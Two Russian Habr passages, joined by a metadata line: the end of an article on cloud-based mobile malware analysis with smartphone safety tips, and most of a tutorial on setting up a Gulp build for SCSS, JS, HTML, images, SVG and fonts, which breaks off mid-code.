Очевидно, что на смартфоне не получится полноценно анализировать подозрительные приложения в связи с ограниченными ресурсами самого устройства. Простое сканирование файлов займёт немало времени и «съест» заметную долю заряда аккумулятора. Одним из способов решения этой проблемы является анализ с помощью облачных сервисов.
На следующей иллюстрации изображена схема работы Paranoid Android, облачного сервиса защиты от вредоносного ПО. Преимущество очевидно — все вычислительные и аналитические операции проводятся не на пользовательском устройстве, а в эмуляторах на удалённых серверах. На смартфоне работает лишь трейсер, который записывает всю необходимую для анализа информацию о работе приложения. Затем трейсер отправляет данные в облачный эмулятор. Он может проводить несколько разных проверок, включая динамический анализ, сканирование памяти, обнаружение подозрительных системных вызовов и антивирусное сканирование.
Для временного хранения входящего трафика Paranoid Android использует прокси, что позволяет экономить заряд аккумулятора смартфона и не отправлять те же данные на сервер. Тот может напрямую обратиться к прокси и получить нужные данные для эмуляции анализируемого приложения. Тем не менее, применение РА для анализа «тяжёлых» приложений всё же существенно повышает расход энергии и нагрузку на процессор. А поскольку трейсер работает в пользовательской среде, системные вызовы куда сильнее нагружают процессор по сравнению с нативным исполнением кода. Условно, трассировка системного вызова read() занимает 0,7 миллисекунды в пользовательской среде, и 0,1 — в ядре.
Во правой половине предыдущей иллюстрации изображена схема работы Crowdroid, инструмента для анализа поведения приложений. Это лёгкое клиентское приложение, которое мониторит системные вызовы, инициированные наблюдаемым приложением, предварительно обрабатывает их и отправляет в облако. А там уже с помощью кластеризации определяет, является ли приложение вредоносным или нет. К сожалению, у Crowdroid бывают ложно положительные результаты, если данных для анализа очень мало.
**Мониторинг расхода заряда аккумулятора**
Более высокое, по сравнению с аналогами, потребление энергии при работе какого-то приложения может быть косвенным свидетельством вредоносности. Конечно, это работает, если достаточно хорошо известно поведение пользователя, состояние аккумулятора, уровень сигнала, объём сетевого трафика и прочие параметры.
**Советы по защите от мобильного вредоносного ПО**
Учитывая ограниченность вычислительных и энергетических ресурсов смартфонов, можно предположить, что в будущем защитный функционал будет, в основном, представлен облачными сервисами. С развитием платёжных систем на основе NFC, также можно ожидать появления вредоносного ПО, нацеленного именно на кражу платёжных данных через этот канал. Наверняка будут попытки получить реквизиты банковских карт с помощью обратного инжиниринга приложений для оплат через NFC. Подобные угрозы необходимо предупреждать заранее, например, с помощью стойкого шифрования и допуска ограниченного числа разработчиков к созданию платёжного ПО.
Но несмотря на развитие инструментов по выявлению вредоносного ПО и защиты своих устройств, лучше всего вообще избегать заражения и его последствий. Ведь наша собственная небрежность и недостаток осторожности могут привести к весьма плачевным результатам. Поэтому лучше последовать нижеприведённым советам:
* Установите хорошее защитное приложение, которое защитит от атаки и предупредит при обнаружении подозрительной активности приложений.
* Скачивайте приложения только из доверенных источников.
* Перед установкой лучше почитать обзоры и посмотреть рейтинг, даже если вы много слышали хорошего про автора приложения.
* Всегда внимательно читайте список запрашиваемых прав доступа. Если возникают какие-то подозрения, лучше откажитесь от установки. Можно также оставить свой комментарий, который предупредит других пользователей.
* Если вам в данный момент не нужны Wi-Fi, Bluetooth и прочие модули беспроводной связи, отключите их. Так будет и безопаснее, и аккумулятор дольше проживёт. С осторожностью подключайтесь к общественным точкам доступа: заранее активизируйте файрвол, отключите общий доступ к файлам и используйте SSL или VPN.
* Регулярно обновляйте используемые приложения, как и прошивку смартфона.
* Используйте шифрование для хранения всех важных данных, хранящихся на смартфоне. Также не забывайте делать регулярные бэкапы. Удостоверьтесь, что критическая информация нигде не закэширована.
* Везде, где возможно, ставьте пароли на доступ к важным файлам и приложениям.
* Не ходите по подозрительным или недоверенным ссылкам. Если всё-таки очень нужно, то лучше наберите адрес вручную, а не копируйте и вставляйте в браузер. Это убережёт от атак с помощью теневой загрузки.
* Регулярно отслеживайте расход заряда аккумулятора, отправленные SMS и журнал звонков. Любые странности следует расценивать как повод к проверке всей системы, особенно недавно установленных приложений.
* И наконец, если смартфон был утерян или украден, удалённо сотрите все приложения, контакты и конфиденциальную информацию. А также заблокируйте само устройство.
Вообще, весьма маловероятно, что действительно серьёзное вредоносное ПО будет оценён ложно положительно. Так что следование вышеприведённым советам наверняка защитит вас разных неприятностей, будьте бдительны и осторожны на просторах сети. Мы, в свою очередь, готовим различные решения по информационной защите наших смартфонов, об этом читайте в одной из ближайших публикаций. | https://habr.com/ru/post/251929/ | null | ru | null |
# Как я сделал свою сборку Gulp для быстрой, лёгкой и приятной вёрстки
Серьёзно и профессионально я начал заниматься вёрсткой в 2019 году, хотя до этого ещё со школы интересовался данной темой как любитель. Поэтому новичком мне себя назвать сложно, но и профессионалом с опытом 5+ лет я тоже не являюсь. Тем не менее, я успел познакомиться со сборщиком Gulp, его плагинами и сделал для себя хорошую, как по мне, сборку для работы. О её возможностях сегодня и расскажу.
**ВАЖНО!** В этой статье речь пойдёт о самой последней версии сборки. Если вы пользуетесь версиями сборки, вышедшими до публикации этой статьи, информация будет для вас не релевантна, но полезна.
Какие задачи решает эта сборка?
-------------------------------
* вёрстка компонентами (вам не нужно в каждую страницу копировать head, header, footer и другие повторяющиеся элементы, вплоть до кнопок или кастомных чекбоксов);
* вёрстка с препроцессорами (SASS/SCSS);
* конвертация шрифтов из ttf в eot, woff, woff2;
* лёгкое (почти автоматическое) подключение шрифтов;
* лёгкое (почти автоматическое) создание псевдоэлементов-иконок;
* обработка изображений "на лету";
* минификация html/css/js файлов;
* возможность вёрстки с использованием php;
* выгрузка файлов на хостинг по FTP;
* несколько мелких задач с помощью миксинов.
Для тех, кому лень читать и делать всё руками - сразу ссылка на сборку.<https://github.com/budfy/Easy-webdev-startpack>
Собственно создание сборки
--------------------------
Начнём собирать нашу сборку (простите за тавтологию). Предварительно нам потребуется уже установленная на компьютере **LTS-версия** [Node.js](https://nodejs.org/dist/v14.16.1/node-v14.16.1-x64.msi) и NPM (входит в пакет Node.js) либо [Yarn](https://yarnpkg.com/getting-started/install). Для нашей задачи не имеет значения, какой из этих пакетных менеджеров использовать, однако я буду объяснять на примере NPM, соответственно, для Yarn вам потребуется нагуглить аналоги NPM-команд.
Первое, что нам нужно сделать - это инициализировать проект. Открываем директорию проекта в командной строке (очень надеюсь, вы знаете, как это делается) и вводим команду `npm init.`
После этого npm задаст нам несколько стандартных вопросов по типу названия проекта, автора, версии и т.д... Отвечаем на них как душе угодно. Для нашей задачи это не имеет никакого значения.
Далее будет намного удобнее работать через [Visual Studio Code](https://code.visualstudio.com/) (поскольку у него есть встроенный терминал) или любой другой удобный вам редактор + терминал.
Прежде всего, нам нужно установить сам [Gulp.](https://gulpjs.com/) Делается это двумя командами `npm i gulp -global` - устанавливаем Gulp глобально на систему и `npm i gulp --save-dev` - устанавливаем Gulp локально в проект. Ключ `--save` здесь отвечает за сохранение версии плагина при дальнейшей установке (без него вам может установить более новую, несовместимую с другими плагинами версию), а ключ `-dev` указывает на то, что этот пакет необходим только во время разработки проекта, а не во время его выполнения. Например, если мы устанавливаем в проект пакет Swiper, который содержит скрипты слайдера и будет отображаться на странице, мы будем устанавливать его без ключа `-dev`, поскольку он нужен для выполнения, а не для разработки.
После того, как Gulp установился, имеет смысл создать в корне проекта управляющий файл gulpfile.js, в котором мы и будем писать задачи для сборщика.
После этого нам нужно подключить Gulp в нашем файле, для того чтобы он исполнялся. Это делается с помощью require:
```
const gulp = require('gulp');
```
Далее, для каждой задачи будем использовать модули в отдельных файлах. Для того, чтобы не подключать каждый модуль отдельно, нужно установить и подключить плагин [require-dir](https://www.npmjs.com/package/require-dir). Устанавливается он всё той же командой (как и все последующие плагины, поэтому далее повторяться не буду, просто знайте, что установить - это `npm i $PLUGIN-NAME$ --save-dev`). После установки подключаем его и прописываем путь к директории, в которую будем складывать модули (у меня это директория tasks):
```
const gulp = require('gulp');
const requireDir = require('require-dir');
const tasks = requireDir('./tasks');
```
### Первая задача
Давайте проверим, всё ли мы правильно сделали. Создадим в директории **tasks** файл модуля с именем **hello.js**. В созданном файле напишем простейшую функцию, которая будет выводить в консоль строку "Hello Gulp!" (можете придумать что-то менее банальное, если хотите).
```
module.exports = function hello () {
console.log("Hello Gulp!");
}
```
Теперь вернёмся в gulpfile.js и зададим там задачу hello:
```
const gulp = require('gulp');
const requireDir = require('require-dir');
const tasks = requireDir('./tasks');
exports.hello = tasks.hello;
```
Теперь командой `gulp hello` в терминале запустим нашу задачу. Если всё сделано правильно - в терминал должно вывестись приблизительно такое сообщение:
```
[13:17:15] Using gulpfile D:\Web projects\Easy-webdev-startpack-new\gulpfile.js
[13:17:15] Starting 'hello'...
Hello Gulp!
[13:17:15] The following tasks did not complete: hello
[13:17:15] Did you forget to signal async completion?
```
Так же, можно получить **список всех заданных задач** командой `gulp --tasks`.
Файловая структура
------------------
Теперь, когда мы создали первую функцию, можно подумать о том, какая структура будет у наших проектов. Я предпочитаю использовать директорию (папку) **/src** для хранения исходных файлов и директорию **/build** для готовых файлов проекта.
В директории src/ нам понадобятся следующие поддиректории:* components/ - директория для компонентов
* components/bem-blocks/ - директория для БЭМ-блоков
* components/page-blocks/ - директория для типовых блоков страницы, таких как хедер, футер и т.п.
* fonts/ - директория для шрифтов
* img/ - директория для изображений
* js/ - директория для файлов JavaScript
* scss/ - директория для файлов стилей
* scss/base/ - директория для базовых стилей, которые мы изменять не будем
* svg/ - директория для файлов SVG
* svg/css/ - директория для SVG-файлов, которые будут интегрироваться в CSS
Получиться в итоге должно приблизительно следующее:
**ВАЖНО:** в пустых директориях, таких как `img/`, `fonts/` и т.п. перед тем как пушить в удалённый репозиторий (например на Github) нужно создать пустые файлы с именем .gitkeep. Это нужно для того, чтобы Github не удалил пустые директории из сборки.
Добавление задач и настройка плагинов
-------------------------------------
Основной целью Gulp является автоматизация рутинных действий в разработке, которые мы можем запрограммировать с помощью задач и плагинов. Первую тестовую задачу мы с вами уже написали. Давайте теперь напишем настоящие задачи, которые будут нам помогать в работе.
---
Задачи стилей
-------------
Для работы с scss нам нужно будет установить некоторые плагины, которые будут обрабатывать и компилировать наш scss код в готовый css. Прежде всего, установим сам плагин [Gulp-sass](https://www.npmjs.com/package/gulp-sass), который будет компилировать scss файлы в обычный css, понятный браузеру. Так же, для того, чтобы scss-файлы можно было импортировать не по одному, а целыми директориями нам понадобится [gulp-sass-bulk-importer](https://www.npmjs.com/package/gulp-sass-bulk-importer), для автоматической расстановки префиксов - [gulp-autoprefixer](https://www.npmjs.com/package/gulp-autoprefixer), для очистки лишнего css - [gulp-clean-css](https://www.npmjs.com/package/gulp-clean-css) и для конкатинации ("склеивания" файлов вместе) - [gulp-concat.](https://www.npmjs.com/package/gulp-concat) Так же, для того, чтобы в DevTools было понятно, из какого файла взялись стили, установим [gulp-sourcemaps](https://www.npmjs.com/package/gulp-sourcemaps). Можно каждый раз не прописывать команду npm i в терминале, а указать перечень устанавливаемых плагинов через пробел, но ключи тогда нужно будет указать перед названиями плагинов: `npm i --save-dev gulp-sass gulp-sass-bulk-importer gulp-autoprefixer gulp-clean-css gulp-concat gulp-sourcemaps`
Теперь создадим в директории tasks/ файл модуля, в котором опишем, что нужно делать галпу с scss-файлами. От gulp нам понадобятся src и dest, а остальные плагины подключим полностью:
```
const {
src,
dest
} = require('gulp');
const sass = require('gulp-sass');
const bulk = require('gulp-sass-bulk-importer');
const prefixer = require('gulp-autoprefixer');
const clean = require('gulp-clean-css');
const concat = require('gulp-concat');
const map = require('gulp-sourcemaps');
```
Далее экспортируем функцию:
```
module.exports = function style() {
return
}
```
В ней-то мы и будем обрабатывать наши scss файлы. Gulp выполняет последовательность действий `.pipe` над объектами, указанными в модуле `src`. Это похоже на конвейер, проходя по которому, код или файлы, которые мы создали в директории src/, превращаются в то, что мы хотим видеть в итоге и складываются в директорию build/.
Давайте определим порядок действий:
1. Взять файлы scss из директорий scss/
2. Инициализировать карту исходных файлов (sourcepams)
3. Скомпилировать в css
4. Расставить вендорные префиксы
5. Очистить от лишнего
6. Склеить в единый файл style.css
7. Записать карту исходных файлов в получившемся файле
8. Положить его в build
Итогом (return) нашей функции как раз и будет результат всей последовательности действий, которые мы определили. Это и запишем:
```
return src('src/scss/**/*.scss')
.pipe(map.init())
.pipe(bulk())
.pipe(sass())
.pipe(prefixer())
.pipe(clean())
.pipe(concat('style.min.css'))
.pipe(map.write('../sourcemaps/'))
.pipe(dest('build/css/'))
```
Пояснение каждой строки кода отдельно`src('src/scss/**/*.scss')` - определяем источник исходного кода (source)
`.pipe(map.init())` - инициализируем маппинг, чтобы он отслеживал включаемые файлы
`.pipe(bulk())` - проводим код через плагин, который ползволяет использовать директиву @include в scss для директорий, а не только для отдельных файлов
`.pipe(sass())` - проводим код через сам компиллятор sass
`.pipe(prefixer())` - проводим код через префиксер, который расставит вендорные префиксы
`.pipe(clean())` - проводим код через "очиститель" от лишнего css
`.pipe(concat('style.min.css'))` - склеиваем все исходные файлы в один
`.pipe(map.write('../sourcemaps/'))` - записываем "карту" источников полученного файла
`.pipe(dest('build/css/'))` - кладём итоговый файл в директорию
Единственное, чего нам здесь не хватает - настроек и методов для некоторых плагинов. Настройки для плагинов задаются в виде объектов, которые передаются аргументом в функцию плагина. Звучит страшно, а на деле выглядит примерно так: `.pipe(sass({outputStyle: 'compressed'})`. Для sass я определяю степень сжатия выходного css как compressed, а так же добавляю на событие error логирование ошибки, чтобы было понятно, что не так (если вдруг). И того получаем такой пайп:
```
.pipe(sass({
outputStyle: 'compressed'
}).on('error', sass.logError))
```
Для автопрефиксера возьму рекомендованые в документации параметры. Для того, чтобы задать свои значения настроек - переходите к документации каждого плагина и читайте, за что отвечает та или иная опция.
```
.pipe(prefixer({
overrideBrowserslist: ['last 8 versions'],
browsers: [
'Android >= 4',
'Chrome >= 20',
'Firefox >= 24',
'Explorer >= 11',
'iOS >= 6',
'Opera >= 12',
'Safari >= 6',
],
}))
```
С клинером вообще всё просто: выставляю уровень очистки (level) в значение 2 и готово.
**Что такое bs и для чего он нужен я опишу ниже, в соответствующем разделе.**
Как итог, в файле tasks/style.js у нас будет следующее:
```
const {
src,
dest
} = require('gulp');
const sass = require('gulp-sass');
const bulk = require('gulp-sass-bulk-importer');
const prefixer = require('gulp-autoprefixer');
const clean = require('gulp-clean-css');
const concat = require('gulp-concat');
const map = require('gulp-sourcemaps');
const bs = require('browser-sync');
module.exports = function style() {
return src('src/scss/**/*.scss')
.pipe(map.init())
.pipe(bulk())
.pipe(sass({
outputStyle: 'compressed'
}).on('error', sass.logError))
.pipe(prefixer({
overrideBrowserslist: ['last 8 versions'],
browsers: [
'Android >= 4',
'Chrome >= 20',
'Firefox >= 24',
'Explorer >= 11',
'iOS >= 6',
'Opera >= 12',
'Safari >= 6',
],
}))
.pipe(clean({
level: 2
}))
.pipe(concat('style.min.css'))
.pipe(map.write('../sourcemaps/'))
.pipe(dest('build/css/'))
.pipe(bs.stream())
}
```
Приблизитекльно аналогичным образом поступаем со стилями библиотек и плагинов, которые будем подключать к будущим проектам. Создаём константу plugins, в которой у нас будет массив файлов-источников из node\_modules `const plugins = [];` . Путь к файлам стилей будем писать в кавычках через запятую - получится массив строк с путями к файлам плагинов. Подключаем в файл gulp.src и gulp.dest, плагины gulp-concat и gulp-sourcemaps аналогично предыдущей задаче и прописываем наш "конвейер":
1. Взять файлы из источников (в данном случае - из константы)
2. Инициализировать маппинг
3. Прогнать всё через sass
4. Подчистить неиспользуемый css (в библиотеках это особенно важно)
5. Сконкатенировать файлы в один
6. Записать маппинг
7. Сложить в директорию build/css
Но тут есть одна особенность - добавим условие, если длина массива plugins будет равна нулю - эта функция и вернёт коллбэк `done()`, который просто выдаст сообщение в терминал, что плагинов нет без выполнения других действий. Без этого, наша функция будет ругаться на отсутствие плагинов. А они нужны далеко не всегда.
А так же нам понадобится плагин [chalk](https://www.npmjs.com/package/chalk) для раскрашивания сообщения в консоли, чтобы мы обратили на неё внимание. Принципиально этот плагин не будет влиять на работу задачи, только разукрашивать консоль, примерно так:
В результате, файл tasks/libs\_style.js будет выглядеть так:
```
const plugins = [];
const {
src,
dest
} = require('gulp');
const sass = require('gulp-sass');
const concat = require('gulp-concat');
const map = require('gulp-sourcemaps');
const chalk = require('chalk');
module.exports = function libs_style(done) {
if (plugins.length > 0) {
return src(plugins)
.pipe(map.init())
.pipe(sass({
outputStyle: 'compressed'
}).on('error', sass.logError))
.pipe(concat('libs.min.css'))
.pipe(map.write('../sourcemaps/'))
.pipe(dest('build/css/'))
} else {
return done(console.log(chalk.redBright('No added CSS/SCSS plugins')));
}
}
```
Задачи для JavaScript
---------------------
C JavaScript всё будет немного сложнее. Для разработки нам понадобится чистый, не редактированный и не минимизированный код. При этом, в готовом проекте мы будем прогонять код через babel, который не только приводит код к стандарту ES5, но и скоращает его, путём замены имён переменных и функций на более короткие (одно-двух символьные). Поэтому, нам потребуется три разные задачи: для нашего JS-кода, для плагинов/библиотек и для билда.
Для обработки JS нам понадобится [gulp-uglify-es](https://www.npmjs.com/package/gulp-uglify-es) - для минификации JS-кода и [gulp-babel](https://www.npmjs.com/package/gulp-babel) для оптимизации. С остальными плагинами, которыми мы будем обрабатывать наш код вы уже знакомы.
Для начала, опишем процесс работы с кодом:
1. Определить источники (sources)
2. Инициализировать маппинг
3. Склеить в один файл
4. Минифицировать полученны файл
5. Записать источники в файл
6. Положить итоговый файл в build/js/
Для итоговой (билдовой) версии после 4 пункта мы ещё прогоним его через babel для оптимизации. И для этого нам понадобится установить [@babel/core](https://www.npmjs.com/package/@babel/core) , а так же [@babel/preset-env](https://www.npmjs.com/package/@babel/preset-env). После установки, в корне проекта нужно будет создать файл `.babelrc` , который указывает на пресет настроек Babel со следующим содержимым:
```
{
"presets": ["@babel/preset-env"]
}
```
Теперь можем приступать к написанию файлов задач. Они будут максимально похожи друг на друга, поэтому нет смысла описывать каждый отдельно. Разница будет лишь в задаче build, как я уже писал выше.
Файл tasks/dev\_js.js
```
const {
src,
dest
} = require('gulp');
const uglify = require('gulp-uglify-es').default;
const concat = require('gulp-concat');
const map = require('gulp-sourcemaps');
const bs = require('browser-sync');
module.exports = function dev_js() {
return src(['src/components/**/*.js', 'src/js/01_main.js'])
.pipe(map.init())
.pipe(uglify())
.pipe(concat('main.min.js'))
.pipe(map.write('../sourcemaps'))
.pipe(dest('build/js/'))
.pipe(bs.stream())
}
```
Файл tasks/libs\_js.js
```
const plugins = [];
const {
src,
dest
} = require('gulp');
const uglify = require('gulp-uglify-es').default;
const concat = require('gulp-concat');
const map = require('gulp-sourcemaps');
const chalk = require('chalk');
module.exports = function libs_js(done) {
if (plugins.length > 0)
return src(plugins)
.pipe(map.init())
.pipe(uglify())
.pipe(concat('libs.min.js'))
.pipe(map.write('../sourcemaps'))
.pipe(dest('build/js/'))
else {
return done(console.log(chalk.redBright('No added JS plugins')));
}
}
```
Файл tasks/build\_\_js.js
```
const {
src,
dest
} = require('gulp');
const uglify = require('gulp-uglify-es').default;
const babel = require('gulp-babel');
const concat = require('gulp-concat');
module.exports = function build_js() {
return src(['src/components/**/*.js', 'src/js/01_main.js'])
.pipe(uglify())
.pipe(babel({
presets: ['@babel/env']
}))
.pipe(concat('main.min.js'))
.pipe(dest('build/js/'))
}
```
Как видим, тут есть указанный напрямую файл `src/js/01_main.js` который должен присутствовать для выполнения задач, поэтому создадим его в директории `src/js`.
Так же стоит отметить ещё пару мелких особенностей. *Во-первых,* как видите, подключение плагина gulp-uglify-es я сделал сразу с параметром (свойством) default: `const uglify = require('gulp-uglify-es').default` - указание какого-либо параметра обязательно для успешной работы плагина. Я использую стандартную настройку. Вы-же можете порыться в документации к плагину и использовать другие настройки, если хотите. *Во-вторых*, в build-задаче я не использовал sourcemaps, поскольку они там и не нужны. Эта карта необходима при разработке, чтобы видеть источники кода в итоговом файле.
---
Задачи для HTML/PHP
-------------------
Следующим этапом будет обработка HTML или PHP, в зависимости от того, на чём вы пишете. Мы не будем рассматривать препроцессоры, такие как [Pug](https://pugjs.org/api/getting-started.html) или [Nunjucks](https://mozilla.github.io/nunjucks/) по той простой причине, что с появлением Emmet они перестали значительно ускорять процесс разработки на HTML, а шаблоны мы вполне можем строить другим плагином: [gulp-file-include](https://www.npmjs.com/package/gulp-file-include), который умеет, как мне кажется, нечто большее - включать текстовое представление **любых** файлов в **любые** файлы. Далее, вы поймёте, почему я считаю это важным. Для разработки на PHP это вообще не имеет никакого значения. Там можно использовать require и другие возможности PHP из коробки. Если же вы привыкли пользоваться препроцессорами - вы легко сможете настроить Gulp для их обработки, я считаю.
Для минификации HTML можно использовать [gulp-htmlmin](https://www.npmjs.com/package/gulp-htmlmin), добавив его в виде `.pipe(htmlmin({ collapseWhitespace: true }))` в свою задачу html. Однако, как показывает практика, вёрстка - не конечный этап разработки в 90% случаев, поэтому добавлять его в сборку я не буду. При необходимости, сможете установить и добавить в задачу по аналогией с другими плагинами.
Устанавливаем gulp-file-include и пишем задачу для html:
Файл tasks/html.js
```
const {
src,
dest
} = require('gulp');
const include = require('gulp-file-include');
const bs = require('browser-sync');
module.exports = function html() {
return src(['src/**/*.html', '!!src/components/**/*.html'])
.pipe(include())
.pipe(dest('build'))
.pipe(bs.stream())
}
```
Здесь вы увидели немного новую конструкцию. В src аргумент стал массивом, в котором один из элементов обозначени восклицательным знаком(!) в начале. Это на языке JavaScript буквально означает "**не**". То есть мы берём все файлы html `'src/**/*.html'`, но только не те, которые `'`!src/components/\*\*/\*.html`'` находятся в директории src/components. В дальнейшем это позволит нам создавать файлы модулей, которые не должны попасть в build директорию, а служат, так сказать, служебными шаблонами. Об этих шаблонах мы поговорим ниже.
Создадим аналогичную задачу для php. Абсолютно такую же, один в один., кроме исключений. Они нам в этой задаче не потребуются.
Файл tasks/php.js
```
const {
src,
dest
} = require('gulp');
const include = require('gulp-file-include');
const bs = require('browser-sync');
module.exports = function php() {
return src('src/**/*.php')
.pipe(include())
.pipe(dest('build'))
.pipe(bs.stream())
}
```
Задачи для изображений
----------------------
Здесь всё будет несколько сложнее. Нам потребуется как минимум две задачи для svg, две для растровых изображений. Что нам нужно:
1. Сжимать растровые изображения.
2. Конвертировать растровые изображения в webp.
3. Объединять svg в спрайт.
4. Включать svg в виде класа с фоном в CSS и cоздавать для svg класс с псевдоэлементами `::after` и `::before`
Это всё мы будем делать разными задачами и тут нам понадобится просто тонна разных плагинов! Их так много, что я решил оформить их названия в отдельный список и убрать под спойлер.
Плагины для изображений* [gulp-changed](https://www.npmjs.com/package/gulp-changed) - понадобится нам для отслеживания изменения в файле. Если файл не изменился, дальнейшие действия с ним не производятся.
* [gulp-multi-dest](https://www.npmjs.com/package/gulp-multi-dest) - понадобится нам для складывания результатов обработки в несколько директорий.
* [gulp-imagemin](https://www.npmjs.com/package/gulp-imagemin) - сжимает изображения
* [imagemin-jpeg-recompress](https://www.npmjs.com/package/imagemin-jpeg-recompress) - тоже сжимает изображения
* [imagemin-pngquant](https://www.npmjs.com/package/imagemin-pngquant) - и этот тоже сжимает изображения
* [gulp-webp](https://www.npmjs.com/package/gulp-webp) - конвертирует растровые форматы (png, jpeg) в webp
* [gulp-svgmin](https://www.npmjs.com/package/gulp-svgmin) - сжимает svg
* [gulp-svg-css-pseudo](https://www.npmjs.com/package/gulp-svg-css-pseudo) - добавляет svg фоном в css и сразу же создаёт псевдоэлементы
* [gulp-svg-sprite](https://www.npmjs.com/package/gulp-svg-sprite) - склеивает все svg в один спрайт. Лично я им пользуюсь крайне редко, но это ввиду особенностей проектов. Вообще весьма полезен для снижения запросов к серверу.
Теперь создадим под всё это файлы задач: `tasks/rastr.js`, `tasks/webp.js`, `tasks/svg_css.js` и `tasks/svg_sprite.js`. Самая сложная задача будет для растровых изображений, ввиду того, что там много настроек, для объяснения значаний которых нужна [отдельная статья](https://habr.com/ru/post/422531/). Здесь я детали всех настроек описывать не буду. *Just belive me*, что я долго сидел подбирал эти настройки с дизайнером так, чтобы качество графики сильно снижало трафик и не сильно резало глаз. В итоге у нас получился вот такой монстр:
tasks/rastr.js
```
const {
src,
dest
} = require('gulp');
const changed = require('gulp-changed');
const imagemin = require('gulp-imagemin');
const recompress = require('imagemin-jpeg-recompress');
const pngquant = require('imagemin-pngquant');
const bs = require('browser-sync');
module.exports = function rastr() {
return src('src/img/**/*.+(png|jpg|jpeg|gif|svg|ico)')
.pipe(changed('build/img'))
.pipe(imagemin({
interlaced: true,
progressive: true,
optimizationLevel: 5,
},
[
recompress({
loops: 6,
min: 50,
max: 90,
quality: 'high',
use: [pngquant({
quality: [0.8, 1],
strip: true,
speed: 1
})],
}),
imagemin.gifsicle(),
imagemin.optipng(),
imagemin.svgo()
], ), )
.pipe(dest('build/img'))
.pipe(bs.stream())
}
```
В этой задаче мы применили фильтр по расширениям файлов таким образом, чтобы обрабатывались только конкретные расширения: `src('src/img/**/*.+(png|jpg|jpeg|gif|svg|ico)')`. В данном случае прямой слеш (знак `|`) означает буквально "или". Таким образом, при обработке эта функция выберет файлы с данными расширениями, а все остальные просто проигнорирует. Так же с помощью gulp-changed мы запретим обработку старых изображений - это ускорит выполнение задачи. Для того же, чтобы выполнение задачи не вызывало ошибку, если входящих файлов для конвертации нет - используем [gulp-plumber](https://www.npmjs.com/package/gulp-plumber).
Теперь создадим webp-дубликаты этих изображений. Эти дубликаты мы будем делать одновременно и в директорию src, и в build, банально для того, чтобы path-intellisense подсказывал нам пути к ним.
tasks/webp.js
```
const {
src
} = require('gulp');
const webpConv = require('gulp-webp');
const changed = require('gulp-changed');
const multiDest = require('gulp-multi-dest');
const plumber = require('gulp-plumber');
module.exports = function webp() {
return src('build/img/**/*.+(png|jpg|jpeg)')
.pipe(plumber())
.pipe(changed('build/img', {
extension: '.webp'
}))
.pipe(webpConv())
.pipe(multiDest(['src/img', 'build/img']))
}
```
Следующий этап - обработка SVG. Здесь у нас будет две задачи: добавление svg в качестве отдельного класса фоном прямо в css и создание svg-спрайта. У этих задач, хоть и похожее, но всё-же разное назначение. Я сейчас не буду вдаваться в подробности, поскольку они не предмет данной статьи. Если вам интересно, зачем нужны svg-спрайты и как этим пользоваться, то об этом писали [тут](https://habr.com/ru/sandbox/125438/) и [тут](https://habr.com/ru/post/272505/). Давайте перейдём к установке нужных плагинов и написанию задач.
Прежде всего, нам нужно очистить наш svg от всего лишнего. Для этого я буду использовать [gulp-svgmin](https://www.npmjs.com/package/gulp-svgmin).
Для добавления svg в качестве background-image я буду использовать плагин [gulp-svg-css-pseudo](https://www.npmjs.com/package/gulp-svg-css-pseudo). Точнее это форк плагина [gulp-svg-css](https://www.npmjs.com/package/gulp-svg-css), который я сделал после того, как авторы оригинального плагина не добавили мой пропоуз в свой плагин. Разница между ними заключается в том, что он создаёт для каждого класса псевдоэлементы `::before` и `::after.` Вы можете точно так же использовать оригинальный плагин, но он не будет работать с псевдоэлементами. На входе мы в определённую директорию кладём файл, например myicon.svg, а на выходе получаем классы `--svg__myicon`, `--svg__myicon-before` и `--svg__myicon-after`, у которых background-image уже задан в виде нашей картинки. Это очень просто и удобно, если картинку не нужно менять (анимировать или изменять цвет):
```
.--svg__myicon,.--svg__myicon-before::before,.--svg__myicon-after::after{
background-image: url("data:image/svg+xml;charset=utf8, %3Csvg width='8' height='6' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M.228 1.635A1 1 0 011 0h6a1 1 0 01.772 1.635L4.808 5.589a.999.999 0 01-1.616 0L.228 1.635z' fill='%232C2D2E'/%3E%3C/svg%3E");
}
.--svg__myicon-before::before {
content:'';
}
.--svg__myicon-after::after {
content:'';
}
```
И так, мы будем брать файлы из директории src/svg/css и обрабатывать нашими плагинами, получая на выходе файл svg.scss и положим его в директорию src/scss/base. Полный файл этой задачи будет выглядеть так:
tasks/svg\_css.js
```
const {
src,
dest
} = require('gulp');
const svgmin = require('gulp-svgmin');
const svgCss = require('gulp-svg-css-pseudo');
module.exports = function svg_css() {
return src('src/svg/css/**/*.svg')
.pipe(svgmin({
plugins: [{
removeComments: true
},
{
removeEmptyContainers: true
}
]
}))
.pipe(svgCss({
fileName: '_svg',
fileExt: 'scss',
cssPrefix: '--svg__',
addSize: false
}))
.pipe(dest('src/scss/global'))
}
```
Теперь напишем задачу для svg-спрайта. Смысл спрайта в том, что он объединяет svg в один файл, который содержит набор векторных картинок. К этим картинкам можно обращаться по ID и вставлять их в нужное место с возможностью изменять их (например цвет) средствами css. Установим плагин [gulp-svg-sprite](https://www.npmjs.com/package/gulp-svg-sprite) и создадим под него вот такую задачу:
tasks/svg\_sprite.js
```
const {
src,
dest
} = require('gulp');
const svgmin = require('gulp-svgmin');
const sprite = require('gulp-svg-sprite');
module.exports = function svg_sprite() {
return src('src/svg/**/*.svg')
.pipe(svgmin({
plugins: [{
removeComments: true
},
{
removeEmptyContainers: true
}
]
}))
.pipe(sprite({
mode: {
stack: {
sprite: '../sprite.svg'
}
}
}))
.pipe(dest('src/img'))
}
```
На выходе мы получим файл src/img/sprite.svg внутри которого и будут все наши svg. Обратиться к ним в html можно будет так: `` или так:
```
```
Если же иконка находилась во вложенной директории (например, как в нашем случае, в директории css), то перед именем файла нужно поставить имя этой директории и два дефиса. Вот так: ``
Чуть позже покажу ещё и третий способ вставлять svg в html с помощью сборки. Вы можете использовать любой из этих способов или их комбинировать, в зависимости от задач, которые нужно решить.
---
Задачи для шрифтов
------------------
Здесь у нас будет две задачи. Первая направлена на конвертацию шрифтов из формата ttf в форматы woff и woff2. Во всех остальных форматах в 2021 году не вижу никакого смысла, поскольку поддержка формата woff простирается аж до Internet Explorer 9. Давно ли вы видели компьютеры с IE9 на борту? Конвертиролвать будем с помощью двух плагинов: [gulp-ttftowoff2](https://www.npmjs.com/package/gulp-ttftowoff2) и [gulp-ttf2woff](https://www.npmjs.com/package/gulp-ttf2woff), соответственно. Файл задачи для конвертации шрифтов будет выглядеть так:
tasks/ttf.js
```
const {
